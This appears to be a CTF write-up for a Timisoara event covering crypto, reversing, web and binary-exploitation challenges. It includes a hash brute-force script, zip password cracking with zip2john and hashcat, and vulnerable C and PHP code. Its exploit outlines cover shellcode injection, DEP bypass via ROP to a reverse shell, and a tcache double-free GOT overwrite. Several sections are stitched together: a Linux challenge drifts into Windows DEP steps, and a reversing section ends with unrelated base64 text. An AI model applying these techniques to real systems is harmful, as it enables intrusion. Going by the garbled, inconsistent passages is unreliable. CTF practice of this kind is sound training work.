Baby Crypto (50pts)

This file seems… odd

In the name of the problem, I thought it was a Caesar cipher.

So I use Caesar decoder site. ( https://cryptii.com/ )

Shift by 8 to get the flag.

Proof of work (100pts)

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

nc 89.38.208.143 21021

just bruteforce attack and find sha256 end of 0000000

import hashlib
import re

import string
ALLOWED_CHARACTERS = string.printable
NUMBER_OF_CHARACTERS = len(ALLOWED_CHARACTERS)

def characterToIndex(char):
    return ALLOWED_CHARACTERS.index(char)

def indexToCharacter(index):
    if NUMBER_OF_CHARACTERS <= index:
        raise ValueError("Index out of range.")
    else:
        return ALLOWED_CHARACTERS[index]

def next(string):
    if len(string) <= 0:
        string.append(indexToCharacter(0))
    else:
        string[0] = indexToCharacter((characterToIndex(string[0]) + 1) % NUMBER_OF_CHARACTERS)
        if characterToIndex(string[0]) is 0:
            return list(string[0]) + next(string[1:])
    return string

def main():
    sequence = list()
    while True:
        sequence = next(sequence)
        tmp = ''.join(i for i in sequence)
        m = hashlib.sha256()
    	m.update(tmp)
    	md5string=m.hexdigest()
        print md5string
        if md5string[57:] == '0000000':
            print md5string + " : " + tmp
            exit(0)

if __name__ == "__main__":
    main()

after connecting to the nc server, enter S@"m4 to get the flag.

Alien Alphabet (150pts)

I found this strange text. It is written in some strange alphabet. Can you decode it?

i found this cipher is TEMPHIS .

I translated the last line and found a flag.

FLAG : TIMCTF{TEMPHIS_IS_AWESOME}


Password breaker (150pts)

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you’re doing it wrong.

So I thought I had to solve the problem with a dictionary attack and brute force.

I used https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ( rockyou.txt ) for dictionary attack.

And I used zip2john and hashcat.

First, I find zip file’s hash.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john flag.zip 
flag.zip/stage2.zip:$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:stage2.zip:flag.zip:flag.zip

And make hash.txt

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$

Finally, use hashcat.

I can get zip file’s password.

Hiss hiss python (50pts)

This snake likes to h1ss at its input.

nc 89.38.208.144 11113

Hint! What is wrong with python input function?

import sys
print ("Hello user! I will give you a test. If you pass it, you get the flag\n")
print ("What is 2 + 3? ")
sys.stdout.flush()
x = input()

if (x == 5):
    print("Eh, I was just kidding. No flag for you")
else:
    print("Try again!")

Python input function has vulnerability.

If I use this vulnerability, I can execute any command.

This is easy python-jail-break problem, no filtering.

So, I can find python-jail-cheatsheet in google, and I use it.

Swag (100pts)

The server only lets hackers in, not script kiddies.

nc 89.38.208.144 11111

First, I see swag.cpp

#include <stdio.h>
#include <time.h>

using namespace std;

int global_cookie;
int main()

	srand(time(0));
	cookie = rand();
	global_cookie = cookie;
	a = 2;
	printf("Enter your name: ");
	fflush(stdout);
	gets(name);
	printf("Hello, %s", name);

	if((cookie != global_cookie) || (a != 1))
	{
		printf(", it appears you don't have enough swag\n");
		exit(0);
	}
	printf(", I really like your swag. Come in!\n");

Bof-server (100pts)

Today kids we learn how to write exploits for super-secure software: bof-server!

nc 89.38.208.144 11112

(non-standard flag format)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-100h]

  printf("Hello! Here is the stack address: %llx, enter your name please: ", &v4, envp);
  fflush(_bss_start);
  gets(&v4);
  printf("Nice to meet you, %s!\n", &v4);
  return 0;
}

This binary use gets(), we can catch RIP.

And, problem gives me stack address.

Finally, NX bit is disabled.

juntae@ubuntu:~/ctf/timisoara/pwn/bof-server$ checksec bof-server

This is mitigation of problem.

As explained earlier, I can use shellcode.

So, I build shellcode in stack and make RIP stack address.

Third, server wait payload.

The place to enter payload is BSS section.

This part causes the vulnerability. Because the length limit is not appropriate.

So, I can catch RIP .

Exploit

I used reverse connection Because it is communication between server and client.

This .exe has DEP protection.

So we have to bypass DEP with windows ROP.

The payload scenario is shown below.

0. Prepare a server for reverse connection.
1. Set register. ( RCX,RDX,R8,R9 )
2. Call VirtualProtect. ( This function can turn off DEP. )
	- VirtualProtect in kernel32.dll
	- problem give kernel32.dll's base address
	- We can use kernel32's function!
3. build NOP sled + window reverse shellcode.
4. Change the RIP to the position where the nop sled is located.
5. The shell is connected to the my server.

Team Manager (300pts)

I found the team manager service used for Timisoara CTF. Do you think it is secure?

nc 89.38.208.144 11114

case 2u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
      free(players[id]);
  }

Do not check the Double Free bug here.

So, I can use tchace dup.

So I assigned the address of the GOT side to the players global variable.

case 3u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
    {
      getchar();
      printf("Player's name: ");
      fflush(_bss_start);
      gets((players[id] + 6));
      printf("Player's skill at reversing and exploitation: ");
      fflush(_bss_start);
      scanf("%d", players[id]);
      printf("Player's skill at web exploit: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 2);
      printf("Player's skill at crypto: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 1);
      printf("Player's skill at forensics: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 3);
      printf("Extra note/comment: ");
      fflush(_bss_start);
      getchar();
      gets(*(players[id] + 2));
      puts("\n");
    }

In this part, a heap overflow occurs.

So you can fill the got section with whatever you want.

Exploit

As you debug, you will see that you pass the address 0x602090 as the argument to the free function.

Therefore, we cover the address of system function in GOT of free function.

Then enter the string “/bin/sh” at 0x602090.

Then run the free function to capture the shell.

Flag manager service (400pts)

Our spies found this flag manager service running on the ctf server. It needs a password tho, but I am sure you can handle it.

nc 89.38.208.144 11115 - back online

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  char format; // [rsp+40h] [rbp-50h]
  int fd; // [rsp+8Ch] [rbp-4h]

  strcpy(file, "flag.txt");
  filesize = 64;
  printf("Enter your name: ", argv, envp);
  fflush(stdout);
  gets(&format);
  printf("Hello, ");
  printf(&format);
  printf("\nEnter password please: ");
  fflush(stdout);
  gets(pass);
  fd = open(file, 0);
  if ( fd == -1 )
  {
    puts("Unable to open file!\n");
    fflush(stdout);
    result = 0;
  }
  else
  {
    read(fd, &buf, filesize);
    if ( !strcmp(pass, good_pass) )
      printf("Here is your flag, %s\n", &buf);
    else
      puts("NOOOOOOOOO!\n");
    fflush(stdout);
    result = 0;
  }
  return result;
}

Buffer Overflow and Format String Bugs Occur.

So, I can catch RIP.

Then, do ROP ( bypass DEP) can get shell.

Strange image (100pts)

I received this “image” in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you “fixed” it and it does not open, try using a few different photo viewers.

Hint! When you ‘fix’ your image make sure you try multiple photo viewers as some might not want to display it

f = open('john.png','rb')
data = f.read()
f.close()
go = ""
for i in range(len(data)):
	go += chr(ord(data[i])^122)
f = open('copy.png','wb')
f.write(go)
f.close()

file hex values are encrypted

i use strings to get looks like flag - HATZ-fL4G: WLPFWI~Eudy3bm3kqxoh$

use caesar cipher to solve it

enc = 'WLPFWI~Eudy3bm3kqxoh$'
print ''.join(chr(ord(enc[i]) - 3) for i in range(len(enc)))

Linear recurrence (200pts)

You are given two numbers: N and k and a linear recurrence. The first N terms are given, along with their coefficients in this order: cn * an, cn - 1 * an - 1, …, c1 * a1

For example, consider the Fibonacci sequence: a3 = 1*a2 + 1 * a1, where a2 and a1 are both equal to 1. In this case the input will be 1 1 1 1

For the string a4 = 3 * a3 + 5 * a2 + 7 * a1 with a3 = 2, a2 = 1 and a1 = 4 the input will look like 3 2 5 1 7 4

Note that all strings start from index 1 N < k < 100.000.000 Number of tests: 10 Size of the input: 2 - 4 (4 - 8 including coefficients) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing N,k and a line containg the sequence. Output formatting: the kth term modulo 666013 Time limit: 1s

Baby Rev (50pts)

This program asks me for the flag, but i don’t know it!

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  printf("Enter password: ", argv, envp);
  fgets(password, 64, _bss_start);
  while ( 1 )
  {
    v3 = strlen(password);
    if ( isprint(password[v3 - 1]) )
      break;
    password[strlen(password) - 1] = 0;
  }
  if ( !strcmp(password, flag) )
    puts("Congratulations, that is correct!");
  else
    puts("NOOOOOOOOOOOOOOOO");
  return 0;
}

just check input with flag. string stored in flag is TIMCTF{Wh0_know5_a5m_kn0ws_R3V}

FLAG : TIMCTF{Wh0_know5_a5m_kn0ws_R3V}


Easy Rev (75pts) 

Like the last one, but harder

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-14h]

  printf("Enter password: ", argv, envp);
  scanf("%s", password);
  if ( strlen(password) <= 0x40 )
  {
    if ( strlen(password) > 7 )
    {
      for ( i = 0; i < strlen(password); ++i )
      {
        if ( password[i] > 96 && password[i] <= 122 )
          password[i] = (password[i] - 84) % 26 + 97;
      }
      if ( !strcmp(password, flag) )
        puts("Congratulations, that is correct!");
      else
        puts("NOOOOOOOOOOOOOOOO");
      result = 0;
    }
    else
    {
      puts("Error: password too short!");
      result = 0;
    }
  }
  else
  {
    puts("Error: password too long!");
    result = 0;
  }
  return result;
}

this challenge check the password. bruteforce brought us the right price.

flag = ''
table = 'TIMCTF{ebgngrq13synt}'
for i in range(len(table)):
	if ord(table[i]) > 96 and ord(table[i]) <= 122:
		for j in range(96,123):
			if ord(table[i]) == (j - 84) % 26 + 97:
				flag += chr(j)
				break
	else:
		flag += table[i]
print flag

This function do base64 calculation.

Put the VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9 in v14.

just base64 decode VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9.

Secret key of swag (150pts)

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

http://89.38.208.143:20002/

This is a reupload as yesterday an unintended solution was found

index.php 99b9fd6c5262ab6762059d333ced10eb

in index.php

<?php

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'login') {
    if (!empty($res['key'])) {
        $key = $res['key'];
    }

    if (!empty($key)) {
        $processed_key = strtoupper($key);
    }
    if (!empty($processed_key) && $processed_key === 'hax0r') {
        echo file_get_contents( "flag.txt" );
    }
    else {
        echo 'Sorry, you don\'t have enough swag to enter';
    }
}

?>
  • We can use parse_str() function to control $processed_key varriable.
